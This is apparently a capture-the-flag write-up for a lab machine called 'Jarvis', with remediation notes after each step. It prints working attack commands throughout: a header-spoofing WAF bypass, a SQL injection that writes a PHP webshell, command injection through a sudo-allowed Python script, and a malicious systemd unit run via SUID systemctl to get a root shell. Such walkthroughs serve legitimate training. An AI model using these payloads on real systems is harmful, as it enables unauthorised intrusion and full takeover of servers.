Jarvis
Summary
The Stark Hotel PHP booking application on port 80 exposed a SQL injection vulnerability in its room-lookup parameter. IronWAF 2.0.3, protecting both HTTP services, blindly trusted the X-Forwarded-For header supplied by the connecting client and skipped inspection when that header claimed a localhost origin — allowing me to spoof an internal source and bypass all protection.
With inspection disabled, a UNION-based SQL injection wrote a PHP webshell to the web root via MySQL's FILE privilege, yielding unauthenticated remote code execution as www-data. A no-password sudo rule permitted the web-server account to invoke an administrative Python utility as the user pepper; that script's ping feature passed unsanitised input directly to the shell, enabling command injection and lateral movement to pepper's account with the user flag.
Once operating as pepper, I found that /bin/systemctl carried the SUID bit for the pepper group. A malicious oneshot systemd service unit written to pepper's home directory and activated through the SUID binary executed as root, produced a setuid-root copy of /bin/bash, and granted full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
Service and version scan across the three discovered ports.
$ nmap -Pn -sCV -p 22,80,64999 $TARGETConfirm the application name and note the IronWAF header.
$ curl -i http://$TARGET/Probe the booking endpoint; note the cod parameter for later injection.
$ curl -i "http://$TARGET/room.php?cod=1"Exact commands 1
A 200 OK response confirms the WAF bypass is active. If the ban page appears, wait 90 seconds before retrying.
$ curl -i -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1' "http://$TARGET/room.php?cod=1"FixConfigure IronWAF to ignore proxy-identity headers from untrusted sourcesHigh
Exact commands 2
Write the webshell via SQLi. All three bypass headers must be included on this and every subsequent request.
$ curl -G "http://$TARGET/room.php" --data-urlencode "cod=-1 UNION SELECT 1,2,3,4,5,'<?php system(\$_GET[\"cmd\"]); ?>',7 INTO OUTFILE '/var/www/html/xp.php'-- -" -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1'Confirm RCE — expected: uid=33(www-data) gid=33(www-data).
$ curl "http://$TARGET/xp.php?cmd=id"FixParameterise all database queries to eliminate SQL injectionCritical
Exact commands 3
Confirm execution context.
$ curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=id; hostname'
uid=33(www-data)Locate the user flag and the admin utility.
$ curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=find /home -name user.txt 2>/dev/null; ls -l /var/www/Admin-Utilities/'List sudo rights available to www-data; look for NOPASSWD entries.
$ curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=sudo -l'FixRevoke MySQL FILE privilege and prevent the database process from writing to the web rootHigh
Exact commands 1
Injects a subshell into simpler.py's ping prompt, running as pepper. Replace the cat target with any command to execute as pepper.
$ curl --get "http://$TARGET/xp.php" --data-urlencode "cmd=printf '%s\n' '\$(cat /home/pepper/user.txt>/tmp/u)' | timeout 5 sudo -u pepper /var/www/Admin-Utilities/simpler.py -p 2>&1; cat /tmp/u 2>&1"FixRemove the www-data sudo rule for simpler.py and eliminate its command injectionCritical
Exact commands 4
Run as pepper to confirm the SUID systemctl at /bin/systemctl.
$ find / -perm -4000 -type f 2>/dev/nullWrite the malicious unit under /home/pepper/ — not /tmp — so that systemctl can read it.
$ cat > /home/pepper/r.service << 'EOF'
[Unit]
Description=r
[Service]
Type=oneshot
ExecStart=/bin/sh -c "cp /bin/bash /home/pepper/rootbash; chmod 4755 /home/pepper/rootbash"
[Install]
WantedBy=multi-user.target
EOFActivate the unit via the SUID binary; ExecStart runs as root and produces the setuid-root bash.
$ /bin/systemctl link /home/pepper/r.service && /bin/systemctl enable --now /home/pepper/r.serviceExecute with elevated euid (root) and read the root flag; expected: <root.txt>.
$ /home/pepper/rootbash -p -c 'cat /root/root.txt'FixRemove the SUID bit from /bin/systemctlCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
| 64999/tcp | http Apache httpd 2.4.25 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.